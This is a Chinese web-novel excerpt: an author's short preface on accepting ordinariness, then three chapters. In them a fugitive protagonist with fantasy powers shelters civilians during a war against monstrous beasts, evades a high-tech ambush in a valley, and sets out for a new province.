或许这是自我要求较高的一种表现,但是我的想法与此不同,也可能是因为我对自己的要求有点低的缘故。 我很能够接受自己的平凡。 平凡从来都不可耻,失败也没有什么大不了的,明天的太阳依旧会升起,只要不是自己跳了就能看到。 平凡的故事没有什么不好的,毕竟本来也就是一个平凡的人。 继续走下去吧,直到走到终点。 或许走到终点的时候回头看,会觉得这段平凡的故事也还不错。 第 1章 一年 时光匆匆,寒暑交替,从曹珂与钟灵踏着硝烟离去到如今,整整一年的光阴已在战火与动荡中悄然流逝。 这一年里,整个神州国经历的剧变,或许比过去二十年的总和还要剧烈。 山河破碎的阵痛、势力格局的洗牌、人心信念的摇晃,如同狂潮般席卷了这片土地上的每一个角落。 回溯一年之前,益州西部防线的轰然倒塌仿佛推倒了第一块多米诺骨牌。 紧接着,神州国的四面八方几乎在同一时间响起了警报——无数异兽如同挣脱牢笼的猛兽,对人类聚居地发起了铺天盖地的进攻。 当时所有人都以为是自然教会在背后捣鬼,可随着战局的深入才发现,一个自然教会根本没有如此撼动全局的手笔。 真正搅动这场风云、导致这一切发生的,是远在万里之外的海外诸岛。 作为九大国之一的海外诸岛,或许是所有大国中处境最为凶险的存在。 自那场改变世界格局的天灾降临后,异兽与人类之间的战争便从未真正停歇。 在异兽凭借数量与蛮力占据绝对上风的黑暗年代,无数人类只能逃进那些隐蔽的山岭或是偏远海岛,在夹缝中苟延残喘,才能勉强躲避异兽的追杀。 直到人类觉醒者的力量逐渐增强,科技与异能的结合让战斗力实现飞跃,局势才渐渐发生反转。 那些水土丰沃、便于生存的地区被人类逐步收复、占据,反倒是曾经不可一世的异兽,被压缩到了深山老林、荒漠戈壁这些生存环境恶劣的地带。 可随着人类势力的进一步扩张,大陆上的异兽生存空间被挤压得愈发狭窄。 有趣的是,被赶离陆地的异兽并未就此消亡,反倒是在广袤无垠的海洋中找到了新的生存沃土,海洋异兽的族群在数百年间逐步壮大,甚至形成了远超陆地异兽的势力规模。 到了如今的时代,异兽的主力力量早已转移到了辽阔的海洋之中,而人类的主要聚居地与防御力量则集中在陆地之上,双方形成了微妙的对峙平衡。 海外诸岛在建立之初,凭借海洋的天然屏障,环境其实并没有那么恶劣,甚至在很长一段时间里算得上是相对安全的避难所。 但随着大陆上的人类不断扩张,越来越多的异兽被从陆地赶到海洋,海外诸岛的生存环境便日益恶化起来。 近几百年来,海外诸岛无疑是遭受异兽袭击最为频繁的大型势力。 那些被人类从大陆赶下海的异兽,在海洋中积蓄力量后,最先冲击的便是这些散布在近海的岛屿。 而与海外诸岛隔海相望的神州国,在这个过程中其实扮演了不容忽视的角色。 神州国作为官方力量最为强大的大国,拥有着令其他势力望尘莫及的执行力。 论及“驱逐异兽”这件事,大概没有哪个势力能比神州国做得更彻底、更坚决。 在国土净化行动中,一部分异兽被赶到了终年冰封的雪域高原,在极端环境中艰难求生;而更多的异兽,则被直接赶进了波涛汹涌的大海。 这些被强行赶下海的异兽,无疑给隔海相望的海外诸岛带来了巨大的生存压力,直接加剧了他们的防御负担。 海外诸岛的高层曾经多次通过九大国联盟向神州国提出抗议,认为神州国这种“以邻为壑”的做法是极其不负责任的行为,将自身的安全建立在他人的危险之上。 然而,作为神州国代表的天人组织外交官,每次都以强硬姿态回应,认为这些指控纯属无稽之谈:“异兽有自己的迁徙本能,它们想要往哪里跑,难道人类还能强行控制不成?神州国只是在保卫自己的国土安全,何错之有?” 由于综合实力远远无法与神州国抗衡,海外诸岛即便心中积满了怨气与不甘,也只能暂时忍下这口气。 但仇恨的种子一旦埋下,便会在漫长的压抑中悄然生根发芽,等待着爆发的那一天。 而一年前那场席卷神州国的全面突袭,正是这颗种子在积蓄数百年力量后,结出的最苦涩的果实。 时光的指针拨回一年之前,那场席卷神州国的风暴源头,藏在海外诸岛联盟的一场惊天变故里——他们诞生了首位神主级能力者。 在九大国通用的实力体系中,这等阶位等同于神州国认定的第七阶泰斗级强者,是足以凭一己之力改变世界局势的顶尖战力。 这位神主级强者的横空出世,如同一道惊雷劈开了海外诸岛长久以来的困境。 那些原本如同附骨之疽般不断围攻岛屿的异兽势力,在感受到那股碾压级的力量后,竟不约而同地放弃了持续数百年的侵扰,仓皇退向深海。 可即便解除了心腹大患,这位新晋神主却并未就此收手,眉宇间的不满反而愈发浓烈。 没人知道她究竟为何动怒,只看到在她散发出的恐怖威压逼迫下,原本盘踞在诸岛周边海域的异兽族群,如同被驱赶的羊群般向着神州国的沿海边境涌去。 这些异兽看似是气势汹汹地发动攻击,实则眼神中满是惊恐与慌乱,更像是一场被逼无奈的跨海逃难。 它们身后那道神主级的气息如同催命符,驱使着它们必须远离这片海域,而神州国的边境,便成了它们唯一的生路。 如此规模的异兽迁徙,自然瞒不过各大势力布下的眼线。 当情报传回各方总部时,那些早已对神州国的强盛心怀觊觎、或是与天人组织有旧怨的势力,瞬间嗅到了可乘之机。 他们如同蛰伏的猎手,在神主级强者搅动的乱局中纷纷出手——自然教会的狂热信徒潜入内陆制造混乱,某些隐世家族派出强者浑水摸鱼,甚至连一些中立势力也暗地支持叛军,试图在神州国的版图上撕开一道口子。 于是在那位神主级能力者的间接推动下,神州国的四面八方几乎在同一时间燃起战火。 东部沿海要抵挡逃难异兽与海兽的双重冲击,西部遭遇自然教会联合山地异兽的突袭,北部雪原被不明势力策反的冰原异兽攻破防线,南部海岛更是直接面对海外诸岛暗中派遣的能力者突击队。 有的战场是异兽狂潮的碾压式进攻,有的则是高等级能力者之间的惨烈搏杀,战线之广、攻势之猛,创下了近百年防御战的纪录。 饶是神州国底蕴深厚,传承千年的世家与尖端科技武装的军队相互配合,在这场突如其来的全面战争中也难以招架。 泰斗级强者不得不亲自坐镇各条战线,年轻一代的能力者们刚毕业就被投入战场,能量屏障在日夜激战中频频告急,后勤补给线多次被切断。 短短三个月内,数个百年传承的据点化为焦土,数百名大师级以上的强者在激战中陨落,平民伤亡与财产损失更是难以计数。 曾经固若金汤的神州国防御体系,在这场多方势力的联合绞杀下,遭遇了建国以来最惨重的损失,整个国家都被拖入了漫长而残酷的战争泥潭。 或许是为了彻底回敬数百年积累的屈辱,那位来自海外诸岛的神主级能力者自始至终没有亲自对神州国发起正面进攻。 她只是稳坐诸岛中枢,以无形的威压驱赶着海量异兽。 当神州国的外交大使通过九大国紧急通讯频道发出严正抗议,痛斥海外诸岛纵容异兽侵袭边境的行径时,那位神主级强者才通过专属加密线路传来回复。 她的声音透过冰冷的电波传来,带着一丝若有若无的嘲讽,一字一句清晰无比: “异兽有自己的迁徙本能,它们想要往哪里跑,难道人类还能强行控制不成?海外诸岛只是在保卫自己的国土安全,何错之有?” 这句话如同精准投掷的回旋镖,正是数百年前神州国天人组织外交官回应海外诸岛抗议时,说过的原话。 彼时天人外交官的傲慢与不屑,此刻都化作利刃,被原封不动地还给了神州国。 通讯频道另一端,那位代表神州国交涉的天人组织大使脸色瞬间涨红,握着通讯器的手指因用力而泛白。 数百年前的嚣张言论犹在耳畔,如今被对方一字不差地奉还,字字句句都像耳光般抽在脸上。 他张了张嘴想要反驳,却发现所有辩解的话语都卡在喉咙里,最终只能在满室的尴尬与难堪中哑口无言。 这场言语的交锋,比任何正面冲突都更让他难堪。那位神主级强者用最轻巧的方式,便将数百年的憋屈与愤怒倾泻而出。 而这句充满讽刺的回复,也随着加密情报传遍了各大势力的高层,成为了战争之外最引人注目的谈资——毕竟这种回旋镖,又有谁不喜欢看呢? 不过这些国际间的唇枪舌剑、势力间的明争暗斗,对张玉汝而言都像是遥远的风声,没太多实际关联。 在这战火纷飞的一年里,他根本没有闲暇去看天人组织的热闹,几乎将自己所有的时间与精力,都倾注在了救援受灾群众与对抗异兽的一线上。 自然教会像是要将数百年间囤积的异兽资源一股脑倾泻出来,源源不断地将各种形态的异兽投入益州战场。 曾经坚固的防御阵线在异兽狂潮的冲击下不断后缩,如同被潮水啃噬的沙堤。 到如今,除了锦官城周边数百公里的核心区域,以及几条维系物资运输的必要交通要道还勉强掌握在人类手中,益州的大部分土地早已沦为异兽的猎场,放眼望去尽是断壁残垣与游荡的兽影。 一个人的力量终究是有限的,这一点在铺天盖地的异兽面前显得尤为真切。 就算张玉汝身手再强,一天能斩杀上百头异兽,一年下来也不过三万余只,可自然教会投入战场的异兽数量,早已是以亿为单位计算的天文数字。 更令人头疼的是,这些异兽在废墟与荒野中不断繁衍,族群规模随时可能进一步扩大,仿佛永远没有尽头。 豫州有专为普通人开辟的特殊庇护空间,益州自然也有类似的设施。 但这种依靠能量屏障维系的空间,从来无法真正保证所有人的安全。一方面是空间的承载能力有限,面对数千万流离失所的民众,早已是人满为患。 另一方面,异兽中不乏能撕裂能量场的特殊存在,它们用利爪与天赋异能不断撞击空间壁垒,随时可能撕开致命的缺口。 况且即便抛开这些隐患,滞留在外界的普通人依旧不在少数。 有些人是没能及时赶到庇护点,有些人则放不下家中的财物与故土,还有些是在转移途中与大部队走散的老弱妇孺。 他们在断壁残垣中艰难求生,每一步都可能踏入异兽的领地。 为了能尽可能庇护这些普通民众,以及那些实力较弱的低阶能力者,张玉汝索性将自己掌握的北斗院临时据点彻底开放。 他加固了据点的能量屏障,修缮了防御武器,将这里改造成了一个临时避难所。 每当有逃难者找到这里,只要通过基础的身份核验,就能获得安全的栖身之所与必要的物资补给。 而他自己,为了避开天人组织的追捕只能选择在外界不断转移——那些人始终没放弃对“叛逃者”的清算,更是将益州防线崩溃的罪责推到他身上。 他有时藏身于废弃的城镇掩体,有时潜伏在异兽较少的山林地带,靠着灵活的身法与对地形的熟悉,在刀尖上行走。 白天他是斩杀异兽的守护者,搜救被困者;夜晚则化身潜行的猎手,避开天人组织的巡逻队,同时搜集着对方与自然教会勾结的证据。 一年来,他的足迹遍布益州的废墟与荒野,身上的伤口结了又破,破了又结,唯有那双眼睛始终明亮。 然而即便张玉汝做了如此之多的努力,有些事情他依旧无法改变。 来自雪域高原的异兽们突破了益州的防御,向着其他内部地区出发,益州只能够维持现有的局势,而无法拦截异兽。 张玉汝自己则是逐渐被天人锁定,如果他继续在益州活动下去的话,恐怕迟早会被对方抓到。 第 2章 陷阱 距离锦官城北门五百公里外的青雾谷,正藏在连绵起伏的断山褶皱里。 山间的溪流绕着青灰色的岩石蜿蜒流淌,水流清澈得能看见水底圆滚滚的鹅卵石,阳光穿过头顶稀疏的枝叶漏在水面,碎金似的光斑随着水流晃晃悠悠,随波逐流间像撒了一路跳跃的碎星。 溪流两岸是陡峭的山壁,灰褐色的岩壁上爬满深绿藤蔓,有的顺着岩缝缠绕而上,有的垂成绿色的帘幕。 不知名的野花从石缝里探出头,粉白、鹅黄、淡紫的花瓣在微风里轻轻摇曳,淡香漫在风里,与岩壁间垂落的瀑布构成一幅灵动的画卷 —— 瀑布的水砸在岩下深潭,溅起的水雾在阳光下偶尔能瞥见小小的彩虹。 河谷两侧的坡地更是泼洒着蓬勃生机。 几株需两人合抱的古木扎在沃土深处,苍劲的枝干像伸开的巨臂向天空舒展,浓密的树叶遮得头顶一片阴凉,叶片间漏下的光斑在地面织出晃动的网。 树下生长着各式各样的稀有植物:有的叶片边缘泛着莹蓝的光晕,指尖轻轻一碰,淡香便漫开来,带着些微凉意;有的结着拳头大小的红果,远远望去像一串串悬着的小火灯笼,果皮上细密的纹路在光下若隐若现;还有贴着地面蔓延的苔藓,踩上去软绵绵的,稍一用力便渗出水珠,晶莹的露珠滚在叶尖,在阳光下闪着七彩的光。 偶尔有羽毛缀着彩光的飞鸟从林间斜掠而过,清脆的鸣叫刚落,又被树叶的沙沙声盖过;溪水深处,几尾银亮的小鱼倏忽摆尾游过,尾鳍一荡便搅碎了水面的树影。 这般静谧生机,几乎让人忘了谷外正燃着残酷的战火,仿佛时间在这里放慢了脚步,将世间最后的生机都小心翼翼地拢在了这片山谷里。 一年之前,这里还是锦官城达官显贵最爱的休憩之地。每逢休沐,总有大批游人循着溪声而来,在古木下歇脚,在花丛旁笑语,连溪水都似带着甜意。 然而自异兽之战打响,锦官城外的土地便多半成了险地,青雾谷自然没能幸免。 异兽攻破益州西境防线那日,青雾谷正逢游人最盛。鲜血染红了溪谷,顺流漂荡的尸身竟一度堵了溪流的去路;原本精心打理的花木被踏成泥,亭台楼阁尽数倾颓,人类留下的痕迹被啃噬得干干净净。 如今这满眼的生机,实则都是致命的伪装。 苔藓间的露珠看着晶莹,实则是能蚀穿皮肉的毒液;溪里的银鱼看着温顺,细瞧才发现嘴里满是细密的尖齿;那些看似生长了千年的古木,一年前还只是齐腰的树苗,全靠异兽与人类尸身残留的生命能量催得疯长,才成了如今遮天蔽日的模样。 可这一年里的多数时候,这些已开启灵智的动植物们,都只能维持着那副伪装出的温顺模样。 这并非是它们开了灵智便收敛了凶性,实际上这些诞生于杀戮与战火中的生灵,个个都称得上是凶狠毒辣的角色。 它们之所以表现得这般乖巧,全因近一年来,有位比它们更凶残的 “暴徒” 时常来此休憩。 为了不触怒这位煞星,这些天性嗜血的异化动植物们,才不得不摆出人畜无害的姿态。懂得识时务者为俊杰的道理,或许便是它们开启灵智后最大的收获了。 此刻,这些异化动植物眼中的 “暴徒”、天人族的眼中钉 —— 张玉汝,正如同往常一般降临他的 “领地”。 漫山遍野的植物忽然齐齐摇晃起来,枝叶簌簌作响,藤蔓轻摆腰肢,仿佛在以自己的方式热烈欢迎他的归来。 这般阵仗,若是换作人类,约莫便是一群人高举双手、雀跃欢呼的模样了。 其实最初时,这些生灵可没这么老实。 张玉汝第一次偶然路过这片区域时,便察觉到此处的异兽分布似乎比别处稀疏得多。 这种反常的情况自然逃不过他的眼睛,他当机立断决定深入谷中一探究竟。 然而谷中的景象却让他有些失望。他本以为这里或许能成为普通人避难的乐土,可刚踏入山谷的瞬间,各种蛰伏的动植物便齐齐向他发起了猛攻 —— 带毒的花瓣如飞镖般射来,藤蔓如毒蛇般缠向脚踝,溪中的银鱼跃出水面亮出尖齿,连脚下的苔藓都渗出了腐蚀性的毒液。 可这些凶残的家伙在张玉汝面前,却显得不堪一击。 他只是抬手引动体内能量,周身瞬间腾起一片温润却极具压迫感的白玉色光芒。 只见玉色光华如潮水般漫过山谷,所过之处,那些张牙舞爪的植物瞬间失了生机,叶片蜷曲枯萎成灰;扑来的动物也在无声的震颤中迅速衰亡,连挣扎的力气都未曾留下。 自那以后,青雾谷中的生灵们便彻底老实了下来。 后来,张玉汝将北斗院的据点让给受灾群众居住,便把青雾谷当作了自己主要的休憩之地。 谷中这些凶残生物的存在,反倒成了天然的屏障,连异兽都很少敢来此处叨扰。于张玉汝而言,这青雾谷也算得上是乱世中难得的清净之所了。 不过今日,这份难得的清静注定要被打破了。 益州大地早已在战火中变得千疮百孔,城郭崩塌,良田荒芜,无数百姓流离失所。 可即便在如此深重的灾难面前,天人一族对张玉汝的追捕却从未有过片刻松懈。 他们麾下的密探如同附骨之蛆,散布在废墟与荒野的每一个角落,日夜搜寻着张玉汝的踪迹。 若是将这份执着与力量分哪怕一半投入到救灾之中 —— 加固城防、救治伤员、分发粮草,不知能让多少在苦难中挣扎的百姓重获生机。 可这显然不符合天人一族的利益逻辑。 在他们眼中,普通人的生死不过是无关痛痒的尘埃,多死少活几个根本不值得在意;但张玉汝的存在,却如同一柄悬在头顶的利剑,只要他活着一日,只要他的力量还在不断成长,便是对天人统治根基的莫大威胁。 过去这一年里,张玉汝的足迹遍布益州的破碎山河。 从被异兽围困的孤城,到被洪水淹没的村落,他总能在最危急的时刻现身,救下那些濒临绝境的受灾群众。 他挥手间绽放的白玉光华,既是枯荣生死的裁决,也是绝望中的希望曙光。 可这些拯救苍生的善举,却也成了天人追踪他的线索 —— 每一次能量波动的残留,每一次出手后留下的痕迹,都被天人的情报网捕捉、分析、归档。 更令人不耻的是,为了逼迫张玉汝现身,天人们甚至不惜用卑劣的手段刻意引导异兽群。 他们会暗中解除某处防御薄弱点的警戒,或是故意泄露难民迁徙的路线,引诱饥饿的异兽发动突袭。 当张玉汝为救人不得不出手时,埋伏在暗处的天人便趁机记录他的能力特征,甚至布下杀局。 好在张玉汝身具「造化之眼」,那双能洞悉万物本源的眸子对周遭的异常变化有着天生的敏锐。能量流动的紊乱、暗藏杀机的阵法波动、甚至是人心深处的恶意算计,都逃不过他的洞察。 多少次看似必死的埋伏,都被他凭借这双神眼提前察觉,在天人合围之前便从容脱身。一年来,天人的追杀从未停止,却始终没能真正伤及他的性命。 其实天人们本不必如此大费周章。只要他们肯痛下决心,一次性派出十几名宗师级强者联手围剿,纵然张玉汝实力再强,恐怕也难敌车轮战的消耗,最终难逃被堆死的命运。可这恰恰是天人一族最不愿做的选择。 天人宗师,每一位都是活了百年甚至数百年的老怪物,不仅是家族中修为最深的战力,更是手握实权的掌权者。 他们早已习惯了高高在上的安逸,享受着家族供奉与凡人跪拜,怎会愿意亲自涉险,去追杀一个可能威胁到自己性命的叛逆? 家族的利益固然重要,但前提是不能以自己的性命为代价。 尤其是在张玉汝于半年前那一战中,以一己之力斩杀两名天人宗师之后,这种惜命的心态便愈发明显。 那两位陨落的宗师,生前也曾是家族中说一不二的大人物,却最终成了张玉汝拳下的亡魂。 这血淋淋的教训让所有天人宗师都心有余悸 —— 在那之前,或许还有人敢为了家族荣耀铤而走险;但在那之后,再没有任何一位宗师愿意拿自己的性命去赌。 当然,他们总有冠冕堂皇的理由。 “眼下异兽肆虐,自然教会蠢蠢欲动,我辈宗师当坐镇锦官城中枢,稳固防线才是首要要务。” 这话听来掷地有声,任谁也挑不出半分错处。毕竟锦官城是益州最后的壁垒,保护它确实是重中之重。 至于张玉汝这个“心腹大患”?在他们口中便成了区区一名大师级能力者而已。 让族中年轻一辈的大师们去历练历练便够了,何须劳动宗师长辈出手? 这般轻描淡写的话语背后,藏着的却是对张玉汝实力的忌惮,以及对自身性命的极度珍视。 而此刻,青雾谷外的密林深处,三道身影正借着枝叶的掩护悄然潜行。 他们身上散发着属于天人大师的能量波动,眼神中带着势在必得的冷光 —— 显然,新一轮的追杀已经开始了。 在接连付出惨痛代价后,天人们早已彻底放弃了让能力者充当追捕主力的念头。 普通的大师级能力者在张玉汝面前不堪一击,历次交锋中早已折损过半;而高高在上的宗师级能力者,更是对这份凶险任务避之不及 —— 毕竟没人愿意拿自己的性命去赌一个不确定的结果。 如此一来,负责辅助追捕的天人们不得不另辟蹊径,将希望寄托在了科技的力量上。他们深知,在纯粹的力量对抗难以奏效时,精密的器械与冰冷的火力或许能成为制胜的关键。 经过数月的秘密筹备,天人们终于联合先导会的科技部队,在青雾谷布下了一张密不透风的天罗地网。 那些曾经在游人眼中充满野趣的溪涧石缝、古木浓荫,此刻都成了暗藏杀机的绝佳伪装。 溪谷两侧的岩壁里嵌着微型脉冲炮,炮口被藤蔓与苔藓巧妙遮掩,只需接收指令便能瞬间弹出,发射出足以撕裂钢板的能量束;河谷底部的鹅卵石堆里藏着感应式炸弹,一旦有超过设定阈值的能量波动靠近,便会触发连环引爆机制,掀起数丈高的泥石巨浪。 就连那些看似随风摇曳的野花丛中,也藏着针状麻醉发射器,能在瞬间射出含有神经毒素的针剂,连皮糙肉厚的异兽都难以抵挡。 这些高度自动化的武器系统堪称科技结晶,不仅搭载了最先进的热能感应与能量探测装置,还能通过卫星链路实时共享数据。 它们操作起来毫无难度,前线的操控人员只需在数公里外的临时指挥车里紧盯屏幕,用光标框选目标,系统便会自动锁定并发起攻击,整个过程流畅得如同一场精准的外科手术。 更阴险的是,天人们还特意调整了武器的触发阈值。那些异化动植物的能量波动被录入系统白名单,确保它们的日常活动不会误触陷阱。 而张玉汝那独特的能量特征,则被设为最高优先级的攻击目标,只要他踏入谷中核心区域,整座山谷的武器系统便会如饿狼般群起而攻之。 此刻的青雾谷,表面上依旧是那片生机盎然的世外桃源,溪水潺潺,花木摇曳,飞鸟游鱼自在穿梭。 可只有藏在暗处的监控探头知道,这片宁静之下,正涌动着足以将一切撕碎的毁灭之力。 天人们相信,就算张玉汝有通天彻地之能,也绝难在这张科技罗网中全身而退。 山谷入口的风忽然停滞了一瞬,躲在云端侦查卫星屏幕前的天人追击队员们下意识屏住了呼吸。 屏幕里,张玉汝的身影正踏着溪畔的鹅卵石缓缓走入青雾谷,玄色衣袍被山风掀起边角,步伐不疾不徐,仿佛只是来赴一场寻常的休憩之约。 第 3章 旅程 追击部队的指挥室内,金属墙壁反射着幽蓝的屏幕光,三十余名队员紧盯着眼前的全息投影地图。 地图上密密麻麻的红点标注着武器节点,从谷口的电磁脉冲发射器到深处的微型导弹阵列,再到岩壁缝隙里藏着的神经毒素喷射器,整个青雾谷已被织成一张密不透风的科技罗网。 “目标已进入一级警戒区。” 操作员的声音带着抑制不住的兴奋,指尖在控制台上飞快跳动,“所有武器系统同步锁定,能量储备百分之九十八,随时可以启动。” 指挥官是位留着银灰色短发的女子,她指尖敲击着桌面,目光死死盯着屏幕里那个从容的身影。过去一年里,张玉汝的影像资料早已被她翻来覆去研究了无数遍。 那双能看透虚妄的 “造化之眼”,那招瞬息间定人生死的 “枯荣”,还有每次从围捕中脱身时留下的淡淡白玉色能量残痕,都给她留下了极其深刻的印象。 按理来说,看到自己这一次的计划顺利进展自己应该高兴才对。 可此刻看着他毫无防备地走入陷阱,她反而生出一种不真实的紧张感。 “稳住。” 她低声下令,指尖在虚拟操控盘上悬停,“等他走到重力陷阱区再动手,那里的地形能最大限度限制他的移动。” 屏幕里的张玉汝似乎对周遭的杀机毫无察觉。 他伸手拂过垂到肩头的藤蔓,那些平日里稍一碰触就会释放毒液的藤蔓竟温顺地向两侧退开,叶片微微颤抖,像是在畏惧什么。 溪水里的银鱼本该亮出尖齿发起攻击,此刻却纷纷沉到水底,连尾鳍都不敢再搅动水面。 追击队员们交换着眼神,压抑着即将得手的狂喜。 他们太清楚这些异化动植物的凶残,可在张玉汝面前,这些致命的生灵竟乖顺得像家养的宠物。 这种诡异的画面更让他们坚信,必须在这里彻底解决这个心腹大患。 “距离重力陷阱区还有一百米。” 操作员报出数据,额角渗出细汗,“武器系统进入预热状态,神经毒素弹舱开启,微型导弹进入待发射序列。” 张玉汝停下脚步,似乎被溪水中的倒影吸引。 阳光穿过树叶落在他脸上,能看清他眼底那抹淡淡的流光 —— 那是 「造化之眼」运转时的微光,只是这光芒只有他自己能够看到。 此刻在追击队员眼中,现在的张玉汝依然毫无警觉之心。 “五十米。” “三十米。” 指挥官深吸一口气,指尖终于按下虚拟按钮:“准备 ——” 就在这时,张玉汝忽然抬头望向天空,目光仿佛穿透了层层叠叠的树叶,直直射向云端的侦查无人机。 他嘴角勾起一抹极淡的弧度,像是在嘲笑什么。 指挥室内的屏幕瞬间闪过一阵雪花,所有武器锁定系统同时发出刺耳的警报声。 “警告!目标能量场异常波动!” “警告!武器控制链路中断!” “重力陷阱区能量回路被强行切断!” 操作员惊慌失措地敲打控制台,可所有按钮都失去了响应。 全息地图上的红点一个个熄灭,那些耗费数月部署的高科技武器,竟在短短数秒内全部失效。 张玉汝重新迈开脚步,踏入本该让他寸步难行的重力陷阱区。 地面的能量纹路只闪烁了一下便彻底黯淡,山风再次吹过山谷,带着异化植物重新舒展枝叶的簌簌声,仿佛什么都没发生过。 云端的指挥室内,银灰短发的指挥官看着彻底黑屏的屏幕,指尖冰凉 —— 他们精心织就的天罗地网,原来从一开始就没能瞒过那双眼睛。 张玉汝就这样踏着轻松随意的步伐,一步步走出了青雾谷的范围。 阳光透过谷口的枝叶在他肩头流淌,衣摆随着微风轻轻摆动,若是不知情的人远远望见,多半会以为这是位趁着晴日来山谷踏青的旅人,绝不会想到他刚刚从布满杀机的科技罗网中穿行而过。 这一次,他并没有对那些潜伏在暗处的追兵痛下杀手。 这并非是他心慈手软下不去手 —— 事实上,死在他手中的天人高手与敌对能力者早已不在少数。乱世之中,对敌人的仁慈便是对自己的残忍,这点张玉汝比谁都清楚。 人类之间的自相残杀本就是最愚蠢的内耗。 明明异兽环伺、生灵涂炭,天人却偏偏要将刀刃对准同为人类的自己,这份荒诞让张玉汝时常感到心寒。 可即便如此,他也不能为了避免这种愚蠢,就束手束脚地放弃自己的生命 —— 那无疑是更可笑的自我牺牲。 该出手时他从不会犹豫,之前那些宗师级的追杀者,便是死在他的 “天人五衰”之下,至今仍让天人高层心有余悸。 真要为这次的手下留情找些冠冕堂皇的理由,倒也并非找不到。 比如这些潜伏者大多是先导会的普通科技兵,并非直接下令追杀他的天人核心成员;又比如眼下益州防线摇摇欲坠,每多一个能对抗异兽的士兵,或许就能多护住几个普通百姓。 但张玉汝懒得琢磨这些弯弯绕绕,他做事向来直接。 此刻他心里想的其实很简单:连日来救助灾民本就耗费了不少心神,刚刚破除天罗地网又动了些能量,实在没力气跟这群杂鱼纠缠。 那些隐藏在暗处的自动化武器已经被他用能量波干扰失效,追兵们连像样的阻拦都做不到,与其在这里浪费力气清理残兵,不如早点找个安静地方恢复状态。 他抬头望了眼天边的云彩,锦官城的方向隐约传来沉闷的爆炸声,想来那边的战事又吃紧了。 脚步不停间,张玉汝的身影已渐渐融入远处的山林阴影中,只留下青雾谷里那些仍在颤抖的异化动植物,和暗处追兵们不敢置信的沉默。 或许是益州先导会正被异兽搅得焦头烂额的缘故,张玉汝接下来的行程中竟没再遭遇什么像样的阻碍。 那些从其他家族与先导会总部赶来益州的天人,早在之前的战事里因指挥失当犯下大错,如今已被强令调往对抗异兽的最前线,正忙着在硝烟里填补防线漏洞,再无暇分神追捕他这 “眼中钉”。 而益州本地的天人世家更是心思活络 —— 他们盘踞此地数代,向来只看重自家在蜀地的根基,对那些来自权力核心的远方同族本就谈不上亲近。 如今战事吃紧,保住家族在锦官城的产业与势力才是头等大事,谁也不愿耗费人力物力,为那些高高在上的外来天人鞍前马后地追拿一个棘手的 “叛逆”。 这般机缘巧合之下,张玉汝几乎是不费吹灰之力便踏出了益州地界。 他站在两州交界的秦岭山口回望,身后的断山如黛,隐约还能望见青雾谷方向的朦胧山影,那里的异化草木此刻或许正在恢复伪装下的獠牙,重新将那个山谷变成一处绝地。 他没有选择返回豫州,那里有太多和他相关的人,一旦自己现身,只会将天人的注意力引向那些刚刚安稳下来的人们,徒增无妄之祸。 混乱之地也不在考虑范围内,虽能暂时隐匿行踪,却远离了神州国的核心纷争,绝非此刻的最优解。 张玉汝望着手中那张用炭笔勾勒的简易地图,指尖在标注着 “雍州” 的区域轻轻点了点。 想要真正摸清天人与先导会的底细,了解这场异兽战争背后更深层的隐秘,终究要在神州国境内的旋涡中心行走。 而雍州,正是眼下最汹涌的那处漩涡。 从他沿途搜集的情报来看,雪域高原的异兽在突破益州西部防线后,主力部队正沿着祁连山脉一路东进,大部分凶戾的族群已涌入雍州地界。 那里不仅要面对来自西域的异兽狂潮,境内还有数个天人世家与先导会分部盘根错节,更夹杂着不少在乱世中崛起的地方势力,堪称内陆地区形势最复杂的区域。 战火纷飞之地,往往也是秩序崩坏、缝隙丛生之处。 对张玉汝而言,这样的地方既是危机四伏的险地,更是绝佳的藏身之所 —— 异兽的威胁会分散各方势力的注意力,而混乱的局势则能为他的调查提供掩护。 山风掠过山口,卷起漫天枯叶,张玉汝转身踏上通往雍州的古道,身影很快便融入了秦岭深处的苍茫暮色之中。 离开益州地界的路比张玉汝预想中还要顺畅。 秋末的风卷着枯黄的落叶掠过荒原,他踏着被夕阳染成金红的土路前行,身后是渐渐隐入暮色的益州群山,身前则是通往雍州的苍茫旷野。 沿途的官道早已不复往日繁华。 曾经每隔十里便有驿站的道路上,如今只剩断壁残垣散布在荒草中。倒塌的木质牌坊被野藤缠绕,驿站墙上 “迎客” 二字的漆皮早已剥落,露出底下被风雨侵蚀的斑驳木痕。 偶尔能见到废弃的车辆歪斜在路边,车轮早已不知所踪,车厢板上还留着异兽利爪划过的深痕,提醒着路人这里曾发生过的凶险。 张玉汝避开了所有仍有人类活动的城镇据点。 他深谙 “大隐隐于市” 的道理,却更清楚如今神州国境内,任何有人烟的地方都可能藏着天人的眼线。 他选择穿行在山林与荒原之间,白日里借茂密的树林遮掩身形,夜晚则借着月光疾行。 「造化之眼」总能提前感知到潜藏的危险 —— 无论是盘踞在山洞里的异兽,还是隐藏在暗处的监控探头,都逃不过那双眼眸的洞察。 路过一处被遗弃的村落时,他在断墙下发现了几株顽强生长的冬麦。 青绿色的幼苗从石缝中钻出来,在寒风中微微颤动。张玉汝停下脚步,指尖凝聚起一丝温润的白玉色能量,轻轻拂过幼苗。 能量渗入土壤,原本有些蔫萎的幼苗瞬间挺直了腰杆,叶片上泛起一层莹润的光泽。 他望着这些在绝境中生长的生命,眼底闪过一丝复杂的情绪,转身没入了村后的密林。 越往北行,气候越发寒冷。 枯黄的野草渐渐被低矮的灌木丛取代,远处的山峦开始出现积雪的痕迹。 空气中弥漫着越来越浓重的异兽气息,时而能听到远处传来的吼叫,那声音沉闷如雷,让地面都微微震颤。 张玉汝知道,这是雪域高原的异兽群正在向雍州腹地推进的征兆。 途中他遇到过几支逃难的队伍。 衣衫褴褛的人们背着简陋的行囊,扶老携幼地向南迁徙,脸上满是疲惫与惶恐。 一个抱着孩子的妇人看到张玉汝,眼中先是闪过警惕,随即化为哀求,颤声询问前方是否有安全的落脚地。 张玉汝沉默地指了指东南方向的一处山谷,那里有他之前路过时发现的天然屏障,暂时能避开异兽的迁徙路线。 看着妇人感激的眼神,他没有多言,转身消失在山林中,顺路去清除了方圆十里的异兽。 进入雍州地界的前夜,他在一处山涧旁休整。 月光洒在结冰的溪面上,反射出清冷的光辉。张玉汝坐在一块光滑的岩石上,取出腰间的水囊抿了一口。 水囊里的清水是用能量净化过的,带着淡淡的甘甜。 他望着远处被月色笼罩的连绵山脉,越过那里之后便是雍州的核心区域。 从风中传来的气息越来越复杂,既有异兽的凶煞之气,也有人类的能量波动,甚至还夹杂着一种冰冷的、属于机械的金属味道 —— 那是先导会科技部队的气息。 